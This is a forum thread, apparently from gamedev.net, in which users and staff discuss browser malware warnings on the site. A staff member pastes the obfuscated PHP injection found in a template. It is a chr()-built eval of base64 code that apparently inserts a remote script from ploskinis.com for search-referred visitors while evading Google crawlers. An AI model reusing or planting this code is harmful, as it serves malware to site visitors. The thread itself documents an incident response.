Still there, you can validate it is still there by visiting google and searching for gamedev.net, then clicking the search result. View source and look for the ploskinis link in the header.
"Google Safe Browsing recently detected malware on www.gamedev.net"
It seems to have spread for me. Previously it was only on the homepage. Now I get it on the 'New Content' and 'Watched Content' pages also.
I found this embedded in one of our templates.. the exploit probably came via a script exploit and I'm going to double check that a recent security update that went out is related:
.chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39).'ZnVuY3Rpb24gaGpFUk9FQlAoKSB7Cmdsb2JhbCAkaXBfeDsKJHNlYyA9ICdmYnB2eXBQU0NNRGNvVSc7CiRrZXkgPSBzdWJzdHIobWQ1KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXS4kaXBfeC4kc2VjKSwwLG10X3JhbmQoNiwzMikpOwokdXJsID0gJy8nLnN1YnN0cihzdHJfc2h1ZmZsZSgnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODknKSwwLG10X3JhbmQoNiwxNikpLicuanM/Jy5zdWJzdHIoc3RyX3NodWZmbGUoJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JyksMCxtdF9yYW5kKDEsMzIpKS4nPScuJGtleTsKcmV0dXJuICJcclxuPHNjcmlwdCB0eXBlPVwidGV4dC9qYXZhc2NyaXB0XCIgc3JjPVwiaHR0cDovL3Bsb3NraW5pcy5jb20kdXJsXCI+PC9zY3JpcHQ+IjsKfQpmdW5jdGlvbiBnRG5wTVJpKCkgewokaXAgPSAnJzsKaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkgewogJGFyciA9IGV4cGxvZGUoJywnLCRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKTsKICBpZihwcmVnX21hdGNoKCcvXlxkezEsM31cLlxkezEsM31cLlxkezEsM31cLlxkezEsM30kLycsJGFyclsnMCddKSkgewogICAkaXAgPSAkYXJyWycwJ107CiAgfQp9CnJldHVybiAoIWVtcHR5KCRpcCkpID8gJGlwIDogJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107Cn0KZnVuY3Rpb24gWk5lSWl6S0UoKSB7CmlmKHByZWdfbWF0Y2goJyNnb29nbGV8bXNufGxpdmV8YWx0YXZpc3RhfGFza3x5YWhvb3xhb2x8YmluZ3xleGFsZWFkfGV4Y2l0ZXxseWNvc3xteXNwYWNlfGFsZXhhfGRvdWJsZWNsaWNrI2knLCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkpIHsKIGlmKHByZWdfbWF0Y2goJyNtc2llfGZpcmVmb3h8b3BlcmF8Y2hyb21lfFRyaWRlbnQjaScsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgcmV0dXJuIHRydWU7CiB9Cn0KZnVuY3Rpb24gaVlMVGFOU1QoKSB7Cmdsb2JhbCAkaXBfeDsKJGlwX3ggPSBnRG5wTVJpKCk7CiRhID0gYXJyYXkoJzIxNi4yMzkuJywnMjA5Ljg1LicsJzE3My4yNTUuJywnMTczLjE5NC4nLCc4OS4yMDcuJywnNzQuMTI1LicsJzcyLjE0LicsJzY2LjI0OS4nLCc2Ni4xMDIuJywnNjQuMjMzLicpOwpmb3JlYWNoKCRhIGFzICRiKSB7CiBpZihwcmVnX21hdGNoKCIvXiRiL2kiLCRpcF94KSkgcmV0dXJuIHRydWU7CiB9Cn0KZnVuY3Rpb24gYUVub1hYeigpIHsKaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSkpIHsKIGlmKFpOZUlpektFKCkgYW5kICFpWUxUYU5TVCgpKSByZXR1cm4gaGpFUk9FQlAoKTsKIH0KcmV0dXJuICcnOwp9CnJldHVybiBAYUVub1hYeigpOw=='.chr(39).chr(41).chr(41).chr(59),chr(46))}}{$oxUKprr}
Thanks for the investigative work guys.. this appears to be cropping up on more than our board.
just got warning from Firefox when I tried
http://www.gamedev.net/forum/101-game-industry-job-advice/
rest seems fine (at least ones I tried)
http://www.gamedev.net/forum/101-game-industry-job-advice/
That specific link throws the same screen at me, thus, it's still an issue for me as well.
That specific link throws the same screen at me, thus, it's still an issue for me as well.
Yep. Same here.
Although the wording of the message suggests that the changes might take some time to take effect.
This topic is closed to new replies.
Advertisement
Popular Topics
Advertisement
